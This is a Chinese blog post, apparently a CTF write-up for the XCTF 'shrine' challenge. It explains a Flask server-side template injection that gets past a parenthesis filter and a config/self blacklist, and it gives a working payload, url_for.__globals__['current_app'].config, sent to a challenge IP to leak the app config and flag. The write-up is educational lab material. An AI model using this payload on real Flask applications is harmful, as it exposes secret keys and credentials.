• XCTF:shrine(Flask模块注入)


    首先进入页面,发现是python代码,整理如下:

    import flask
    import os
    
    app = flask.Flask(__name__)
    
    app.config['FLAG'] = os.environ.pop('FLAG')
    
    
    @app.route('/')
    def index():
        return open(__file__).read()
    
    
    @app.route('/shrine/<path:shrine>')
    def shrine(shrine):
    
        def safe_jinja(s):
            s = s.replace('(', '').replace(')', '') #过滤括号
            blacklist = ['config', 'self']  #黑名单
            return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
    
        return flask.render_template_string(safe_jinja(shrine))
    
    
    if __name__ == '__main__':
        app.run(debug=True)

    这是一个flask框架web应用,过滤了括号和config、self关键字

    一开始尝试寻找过滤括号的模板注入,发现没有,只好寻找其他方法

    查阅资料有整理的Flask特有的变量和函数

    config

      config 对象就是Flask的config对象,也就是 app.config 对象

    
    

    request

      Flask中代表当前请求的request对象

    session

      Flask的session对象

    url_for()

      url_for会根据传入的路由器函数名,返回该路由对应的URL,在模板中始终使用url_for()就可以安全的修改路由绑定的URL,则不比担心模板中渲染出错的链接

    get_flashed_messages()

      这个函数会返回之前在flask中通过flask()传入的消息的列表,flash函数的作用很简单,可以把由Python字符串表示的消息加入一个消息队列中,再使用get_flashed_message()函数取出它们并消费掉

    使用url_for函数获取全局变量得到config得到flag

    http://220.249.52.133:52793/shrine/{{url_for.__globals__["current_app"].config}}

    也可以使用get_flashed_messages函数去构造payload

  • 相关阅读:
    操作系统复习
    软件工程复习
    2020字节跳动校园招聘算法方向第二场考试题解(部分)
    【牛客】用两个栈来实现一个队列
    LeetCode 62. 不同路径
    LeetCode 79. 单词搜索
    LeetCode 113. 路径总和 II
    LeetCode 389. 找不同
    【牛客】矩阵交换
    【牛客】KiKi学习了结构体和指针
  • 原文地址:https://www.cnblogs.com/luocodes/p/13830643.html
Copyright © 2020-2023  润新知